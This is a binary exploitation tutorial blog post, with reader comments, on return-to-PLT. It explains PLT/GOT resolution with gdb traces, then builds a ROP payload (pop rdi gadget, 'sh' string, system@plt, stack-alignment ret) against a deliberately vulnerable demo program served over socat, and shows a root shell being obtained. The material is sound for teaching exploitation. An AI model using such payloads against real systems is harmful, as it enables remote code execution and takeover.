Return to PLT, GOT to bypass ASLR remotely


We learned how to use format string vulnerability to leak contents of memory to bypass nx bit, stack canary and ASLR in last post. This time we will focus on what are Procedure Linkage Table and Global Offset Table. As we know all instructions for our C functions like printf, scanf, malloc, system, etc are in glibc. When we call such functions in our code, they are dynamically linked to our binary and then executed unless the -static option was given during compilation. This greatly reduces the size of executable. Let's look a little bit on how it happens.

Consider this small code.

Compile it with '-no-pie' flag. Position Independent Executable (PIE) is an exploit mitigation technique which loads different sections of executable at random addresses making it harder for attacker to find correct address. Addresses in such executables are usually calculated by relative offsets. We don't want that now.
virtual@mecha:~$ gcc plt_demo.c -o plt_demo -no-pie
Let's load it in gdb and see.
virtual@mecha:~$ gdb -q plt_demo                   
Reading symbols from plt_demo...(no debugging symbols found)...done.
gdb-peda$ b *main+11
Breakpoint 1 at 0x4005cd
gdb-peda$ r
Starting program: /home/archer/plt_demo 
[----------------------------------registers-----------------------------------]
RAX: 0x4005c2 (: push   rbp)
RBX: 0x0 
RCX: 0x7ffff7dd2578 --> 0x7ffff7dd3be0 --> 0x0 
RDX: 0x7fffffffd938 --> 0x7fffffffde05 ("XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0")
RSI: 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/plt_demo")
RDI: 0x400684 ("This is the first printf.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
RIP: 0x4005cd (<main+11>: call   0x4004c0 <puts@plt>)
R8 : 0x7ffff7dd3be0 --> 0x0 
R9 : 0x7ffff7dd3be0 --> 0x0 
R10: 0x3 
R11: 0x2 
R12: 0x4004e0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffd920 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005c2 : push   rbp
   0x4005c3 <main+1>: mov    rbp,rsp
   0x4005c6 <main+4>: lea    rdi,[rip+0xb7]        # 0x400684
=> 0x4005cd <main+11>: call   0x4004c0 <puts@plt>
   0x4005d2 <main+16>: lea    rdi,[rip+0xc5]        # 0x40069e
   0x4005d9 <main+23>: call   0x4004c0 <puts@plt>
   0x4005de <main+28>: lea    rdi,[rip+0xc9]        # 0x4006ae
   0x4005e5 <main+35>: call   0x4004d0 <system@plt>
Guessed arguments:
arg[0]: 0x400684 ("This is the first printf.")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
0008| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov    edi,eax)
0016| 0x7fffffffd850 --> 0x0 
0024| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/plt_demo")
0032| 0x7fffffffd860 --> 0x100040000 
0040| 0x7fffffffd868 --> 0x4005c2 (: push   rbp)
0048| 0x7fffffffd870 --> 0x0 
0056| 0x7fffffffd878 --> 0x81a10dfb5a7dcac5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004005cd in main ()
You would have noticed while debugging programs by now that whenever we call a function example 'puts'. We see puts@plt is called instead of directly calling the function. You will notice that this address actually belongs to .plt (Procedure Linkage Table) section of elf.
virtual@mecha:~$ objdump plt_demo -h
plt_demo: file format elf64-x86-64
Sections:
Idx Name          Size      VMA               LMA               File off  Algn
 11 .plt          00000030  00000000004004b0  00000000004004b0  000004b0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 20 .got          00000020  0000000000600fe0  0000000000600fe0  00000fe0  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got.plt      00000028  0000000000601000  0000000000601000  00001000  2**3
                  CONTENTS, ALLOC, LOAD, DATA
Now let's step into(si)  'puts@plt'.
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x4005c2 (: push   rbp)
RBX: 0x0 
RCX: 0x7ffff7dd2578 --> 0x7ffff7dd3be0 --> 0x0 
RDX: 0x7fffffffd938 --> 0x7fffffffde05 ("XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0")
RSI: 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
RDI: 0x400684 ("This is the first printf.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd838 --> 0x4005d2 (<main+16>: lea    rdi,[rip+0xc5]        # 0x40069e)
RIP: 0x4004c0 (<puts@plt>: jmp    QWORD PTR [rip+0x200b52]        # 0x601018)
R8 : 0x7ffff7dd3be0 --> 0x0 
R9 : 0x7ffff7dd3be0 --> 0x0 
R10: 0x3 
R11: 0x2 
R12: 0x4004e0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffd920 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4004b0:    push   QWORD PTR [rip+0x200b52]       # 0x601008
   0x4004b6: jmp    QWORD PTR [rip+0x200b54]        # 0x601010
   0x4004bc: nop    DWORD PTR [rax+0x0]
=> 0x4004c0 <puts@plt>:   jmp    QWORD PTR [rip+0x200b52]        # 0x601018
 | 0x4004c6 <puts@plt+6>: push   0x0
 | 0x4004cb <puts@plt+11>: jmp    0x4004b0
 | 0x4004d0 <system@plt>: jmp    QWORD PTR [rip+0x200b4a]        # 0x601020
 | 0x4004d6 <system@plt+6>: push   0x1
 |->   0x4004c6 <puts@plt+6>: push   0x0
       0x4004cb <puts@plt+11>: jmp    0x4004b0
       0x4004d0 <system@plt>: jmp    QWORD PTR [rip+0x200b4a]        # 0x601020
       0x4004d6 <system@plt+6>: push   0x1
       0x4004db <system@plt+11>:jmp   0x4004b0
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd838 --> 0x4005d2 (<main+16>: lea    rdi,[rip+0xc5]        # 0x40069e)
0008| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
0016| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov    edi,eax)
0024| 0x7fffffffd850 --> 0x0 
0032| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
0040| 0x7fffffffd860 --> 0x100040000 
0048| 0x7fffffffd868 --> 0x4005c2 (: push   rbp)
0056| 0x7fffffffd870 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004004c0 in puts@plt ()
gdb-peda$ x/gx 0x601018
0x601018: 0x00000000004004c6 

We reach puts@plt. Here you can see there is first a jump to $rip+0x200b52 i.e. 0x601018 which is in .got.plt section. But currently it just contains the address to *puts@plt+6. So instruction pointer now points to next instruction in puts@plt instead of jumping to that address. Then it pushes a value on stack and then there is unconditional jump to address 0x4004b0 which also belongs to plt section. Also if you see plt entry of system, it also pushes a value on stack then jumps to that address. Then again it pushes some value on stack and then jumps to 0x601010 which again jumps to another address which belongs to '/usr/lib/ld-*.so' as you can see below and we have finally reached _dl_runtime_resolve_xsavec.
gdb-peda$ x/gx 0x601010
0x601010: 0x00007ffff7ded4a0
gdb-peda$ x/5i 0x00007ffff7ded4a0
   0x7ffff7ded4a0 <_dl_runtime_resolve_xsavec>:         push   rbx
   0x7ffff7ded4a1 <_dl_runtime_resolve_xsavec+1>: mov    rbx,rsp
   0x7ffff7ded4a4 <_dl_runtime_resolve_xsavec+4>: and    rsp,0xffffffffffffffc0
   0x7ffff7ded4a8 <_dl_runtime_resolve_xsavec+8>: sub    rsp,QWORD PTR [rip+0x20f339]        # 0x7ffff7ffc7e8 <_rtld_local_ro+168>
   0x7ffff7ded4af <_dl_runtime_resolve_xsavec+15>: mov    QWORD PTR [rsp],rax
gdb-peda$ vmmap
Start              End                Perm Name
0x00400000         0x00401000         r-xp /home/archer/compiler_tests/plt_demo
0x00600000         0x00601000         r--p /home/archer/compiler_tests/plt_demo
0x00601000         0x00602000         rw-p /home/archer/compiler_tests/plt_demo
0x00007ffff7a1c000 0x00007ffff7bcf000 r-xp /usr/lib/libc-2.27.so
0x00007ffff7bcf000 0x00007ffff7dce000 ---p /usr/lib/libc-2.27.so
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /usr/lib/libc-2.27.so
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /usr/lib/libc-2.27.so
0x00007ffff7dd4000 0x00007ffff7dd8000 rw-p mapped
0x00007ffff7dd8000 0x00007ffff7dfd000 r-xp /usr/lib/ld-2.27.so
0x00007ffff7fb3000 0x00007ffff7fb5000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffdd000 0x00007ffffffff000 rw-p [stack]
gdb-peda$ si
[-------------------------------------code-------------------------------------]
   0x4004ae <_init+22>: ret    
   0x4004af: add    bh,bh
   0x4004b1: xor    eax,0x200b52
=> 0x4004b6: jmp    QWORD PTR [rip+0x200b54]        # 0x601010
 | 0x4004bc: nop    DWORD PTR [rax+0x0]
 | 0x4004c0 <puts@plt>: jmp    QWORD PTR [rip+0x200b52]        # 0x601018
 | 0x4004c6 <puts@plt+6>: push   0x0
 | 0x4004cb <puts@plt+11>: jmp    0x4004b0
 |->   0x7ffff7ded4a0 <_dl_runtime_resolve_xsavec>: push   rbx
       0x7ffff7ded4a1 <_dl_runtime_resolve_xsavec+1>: mov    rbx,rsp
       0x7ffff7ded4a4 <_dl_runtime_resolve_xsavec+4>: and    rsp,0xffffffffffffffc0
       0x7ffff7ded4a8 <_dl_runtime_resolve_xsavec+8>: sub    rsp,QWORD PTR [rip+0x20f339]        # 0x7ffff7ffc7e8 <_rtld_local_ro+168>
                                                                  JUMP is taken
So what the hell is all going on here ? What is this ld.so ? Why are we in it ?

Let's read man page for ld.so.
DESCRIPTION
       The programs ld.so and ld-linux.so* find and load the shared objects (shared libraries) needed by a program,
       prepare the program to run, and then run it.
       Linux binaries require dynamic linking (linking at run time) unless the -static option was given to ld(1) during compilation.
Oh ! So this is our magic program which finds the correct addresses of functions in other shared libraries even when ASLR is on and dynamically links it to executable via Global Offset Table. Offsets to global variables from dynamic libraries are not known during compile time, this is why they are read from the GOT table during runtime. There's a lot more on how this happens that you can read.

So this way the program counter will reach the correct address of our function in libc or any shared library. The address is then saved in GOT entry of function. So whenever you call the same function again it will jump directly to correct address. You can verify it.
Breakpoint 2, 0x00000000004005d9 in main ()
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x1a 
RBX: 0x0 
RCX: 0x7ffff7b059d4 (<write+20>: cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dd4720 --> 0x0 
RSI: 0x602260 ("This is the first printf.\n")
RDI: 0x40069e ("This is second.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd838 --> 0x4005de (<main+28>: lea    rdi,[rip+0xc9]        # 0x4006ae)
RIP: 0x4004c0 (<puts@plt>: jmp    QWORD PTR [rip+0x200b52]        # 0x601018)
R8 : 0x3 
R9 : 0x0 
R10: 0x602010 --> 0x0 
R11: 0x246 
R12: 0x4004e0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffd920 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4004b1: xor    eax,0x200b52
   0x4004b6: jmp    QWORD PTR [rip+0x200b54]        # 0x601010
   0x4004bc: nop    DWORD PTR [rax+0x0]
=> 0x4004c0 <puts@plt>: jmp    QWORD PTR [rip+0x200b52]        # 0x601018
 | 0x4004c6 <puts@plt+6>: push   0x0
 | 0x4004cb <puts@plt+11>: jmp    0x4004b0
 | 0x4004d0 <system@plt>: jmp    QWORD PTR [rip+0x200b4a]        # 0x601020
 | 0x4004d6 <system@plt+6>: push   0x1
 |->   0x7ffff7a8cbf0 <puts>: push   r13
       0x7ffff7a8cbf2 <puts+2>: push   r12
       0x7ffff7a8cbf4 <puts+4>: mov    r12,rdi
       0x7ffff7a8cbf7 <puts+7>: push   rbp
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd838 --> 0x4005de (<main+28>: lea    rdi,[rip+0xc9]        # 0x4006ae)
0008| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push   r15)
0016| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov    edi,eax)
0024| 0x7fffffffd850 --> 0x0 
0032| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
0040| 0x7fffffffd860 --> 0x100040000 
0048| 0x7fffffffd868 --> 0x4005c2 (: push   rbp)
0056| 0x7fffffffd870 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004004c0 in puts@plt ()
When we call the second puts. This time it jumps directly into libc's puts address as the correct address is now written in GOT . Same procedure will happen when other shared library functions are called.

Return to PLT

Cool. We know how PLT and GOT work. Now how can we (ab)use them ? Since this is a position independent executable the functions and sections in binary will always be loaded at same address. As an attacker we can return to these functions with proper parameters and alter the control flow in our favour to some extent without worrying about ASLR. Check out this simple program, we will serve remotely.

It sets no buffering for stdin and stdout. Executes "clear" to clear terminal and then asks some description with scanf. It might do something else with it but that's not important to us now. Compile it without stack canary and -no-pie.
virtual@mecha:~$ gcc ret2plt.c -o ret2plt -fno-stack-protector -no-pie
We will be running it on server as root so use this command.
remote@server:~$ sudo socat tcp-listen:5556,reuseaddr,fork, exec:"./ret2plt"
Since there is no stack canary we can easily overwrite return address. Now we can try to return to some interesting functions. Did you notice system function ? If we can return to system@plt with 'sh' as argument, we can get shell. More reasons not to use system like functions in your code. ;p

Since we are working on 64 bit system, we need to pass parameter to system from rdi register. So to execute 'sh'. Address of sh string should be in rdi register. Can we find a rop gadget like pop rdi; ret in binary itself ? So we can return to it first so that address of 'sh' can be popped into rdi and then we can call system.

Two things to find.
  1. Address of 'pop rdi; ret' instruction.
  2. Address of 'sh' string.
We need to find these in elf only cause the ASLR is on and we don't know libc of remote server. So we will return to self.

For 'pop rdi' instruction, I am using ROPgadget tool on executable.
virtual@mecha:~$ python ROPgadget.py --binary ~/compiler_tests/ret2plt --only "pop|ret" | grep rdi
0x00000000004007b3 : pop rdi ; ret
Awesome. The instruction is available at address 0x4007b3 in binary.

To find 'sh' string you can use strings and grep command or just load it in gdb and find.
gdb-peda$ find sh
Searching for 'sh' in: None ranges
Found 105 results, display max 105 items:
   ret2plt : 0x400821 --> 0xa00000000006873 ('sh')
   ret2plt : 0x600821 --> 0xa00000000006873 ('sh')
gdb-peda$ x/s 0x400821-19
0x40080e: "Please don't ;) crash"
If you check, that sh is actually from the end of the string crash. We can use it from address of sh and pass it as argument. Great.

Now sometimes "sh" might not be available in binary. Then you can provide one yourself. How you ask ? One thing you can do is use functions like scanf,gets,etc which take input and store it in writable region of binary. You can find such region with vmmap. Then input the string, and later pass the address you stored it at to 'system'.  Or another thing can be to send it with our payload. Then next you have to find it's address. For that you can use ret2plt to functions like printf, puts, etc.  that give output in binary and leak some addresses. Then you can calculate offset to "sh" string. You can make the program to take input again after that either by building rop chain with functions to input and overwrite got entry of functions for more chain (you may need to clean stack here with pop) or simply restarting the program by pointing to '_start' or 'main'. Try to do this as homework. :p

Only thing left is to find offset to return address. You can find that with long input or pattern and analyzing in gdb.
virtual@mecha:~$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 0x6541316541306541
[*] Exact match at offset 120
Found it at 120 bytes. Time to make exploit. Here's what our payload will be.
payload = 'A'*120 + pop_rdi;ret + address_of_'sh' + system@plt
One thing to keep in mind here is bad characters, since there is scanf("%s",desc); in source code from which we will be entering our payload. Here's what man page of scanf says for %s.
s   Matches a sequence of non-white-space characters; the next pointer must be a pointer to the initial element of a character array  that  is  long  enough  to  hold  the  input
    sequence and the terminating null byte ('\0'), which is added automatically.
    The input string stops at white space or at the maximum field width, whichever occurs first.
So it stops at white space which is 0x20 in hex in ascii table. We have to keep in mind to not have any 0x20 in payload and we will do fine. Putting it all together, here's the exploit script.

Fortunately we didn't encounter any bad character 0x20 in payload. Run it against target server and you will get a shell.
virtual@mecha:~$ python2 plt.py 
[*] Connecting to server !!
[*] Connected.
########  Welcome to Command Center ########

Please don't ;) crash
Enter mission description:
>
[*] Sending payload ..
[*] Got shell. Enter commands.
 Description Updated !
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)
[manjaro archer]# whoami
whoami
root
[manjaro archer]# pwd
pwd
/home/archer
[manjaro archer]#
Great. We got root as target server was running as root.

A tip.

If you see the exploit getting segmentation fault in "movaps XMMWORD PTR [rsp+0x40],xmm0" while calling system, it might be because your stack isn't 16 byte aligned. That's just a standard. You may read more about it herehere and here or just google "movaps 16 byte stack alignment". To solve the issue just execute a simple "ret" gadget/instruction. By executing "ret" it will pop off the 8 bytes on top of stack and return to that so it will realign the stack to 16 bytes. So updated payload here will be:
ret = 0x40074f  # address of ret instruction in binary.

buf = "A"*120           # junk
buf+=p64(ret)   # <====  execute 'ret' to make stack 16 bytes aligned by popping off 8 bytes off top of stack and returning to it.
buf+=p64(pop_rdi)       # pop rdi;ret
buf+=p64(sh)            # 'sh' goes into rdi
buf+=p64(system_plt)    # system
Thanks to the comment for pointing that out.
  

This time we used return to plt to bypass ASLR. We just called system to get shell as it was in the code. You can use PLT and GOT to call more functions without worrying about ASLR and with proper arguments even leak important addresses and memory with them so they can be helpful in further exploitation. We will see more on that in next articles. Keep practicing.

For any queries contact : @ShivamShrirao

Next Read: Format Strings: GOT Table Overwrite To Change Control Flow Remotely On ASLR 

Comments

  1. Wow Thanks for your Tutorial, but

    "Now sometimes "sh" might not be available in binary. Then you can provide one yourself. How you ask ? One thing you can do is use functions like scanf,gets,etc which take input and store it in writable region of binary. You can find such region with vmmap. Then input the string, and later pass the address you stored it at to 'system'. "

    if i only have gets() function in binary, how can i choose memory region (writeable) of binary application? isn't gets() function only write into stack?

    i hope you make some tutorial/example about it, coz its really help me to understand vulnerability of gets() even ASLR enabled.

    ReplyDelete
    Replies
    1. You can choose the writable memory region with "vmmap" command in gdb-peda. It shows process memory mappings. And choose a writable one. Gets can write anywhere. You just have to pass the address to write to as argument. See man page of gets.
      Sry I have been trying to write next article for quite some time now. But couldn't get enough time. I will try to complete in next few weeks. Thanks.

      Delete
  2. Hi shivam,
    your blog is just awesome. I just wanted to ask you wwhich version of Linux and gcc were you using while doing the experiments?

    ReplyDelete
    Replies
    1. Thanks. Glad you liked.
      It was prolly gcc version 7.4.0 and Ubuntu 18.04.1 64bit. And another was running manjaro 64bit, can't confirm it's gcc version. Though you needn't worry about version. I haven't seen big change recently. Should work across most versions and distributions.

      Delete
    2. I am using Ubuntu18.04 the application is giving segmentation fault before the RET instruction is executed.The payload is restricted till the return address.If i overwrite any locations after the return address i am facing this issue. Otherwise it is ok. Did you face this issue and if so how did you get around it ?

      Delete
    3. Segmentation fault occurs when u write or point to areas you aren't supposed to or which do not exist. First make sure u are running 64 bit OS, articles are for 64 bit, then check the addresses are correct, execute each instruction step by step in gdb-peda and analyse each step. Check out the initial articles for basics: https://www.ret2rop.com/2018/08/cpu-memory-and-buffer-overflow.html
      If still facing issue I will need more info.

      Delete
    4. I have debugged as you have told .I am successfully able to return to system@PLT with "sh" string in RDI register.But I am getting segmentation fault in ":movaps XMMWORD PTR [rsp+0x40],xmm0 " . I am not able to trace out the reason.

      Delete
    5. Well the instructions with xmm registers aren't supposed to be here. Does the program follow the proper control flow ? Check by executing each instruction step by step. I need more info of state of program. You may contact me at fb.com/mregrey and discuss in detail.

      Delete
    6. `I have debugged as you have told .I am successfully able to return to system@PLT with "sh" string in RDI register.But I am getting segmentation fault in ":movaps XMMWORD PTR [rsp+0x40],xmm0 " . I am not able to trace out the reason.`
      This is a stack alignment issue:
      The MOVAPS instruction only calls if the stack is 16-bit aligned.
      Try adding a ret gadget at the start of your chain.
      This is a UBUNTU 18.04 LTS MOVAPS issue (Google it)

      Delete
    7. Ohh, interesting. Thanks for that. I hadn't faced such issue, will look into it and update.

      Delete
    8. Yup confirmed on Ubuntu. MOVAPS instruction requires stack to be 16 byte aligned before calling. This can be done simply by first executing ret instruction so the stack moves that 8 bytes. Thanks, I will update in the article.

      Delete

Post a Comment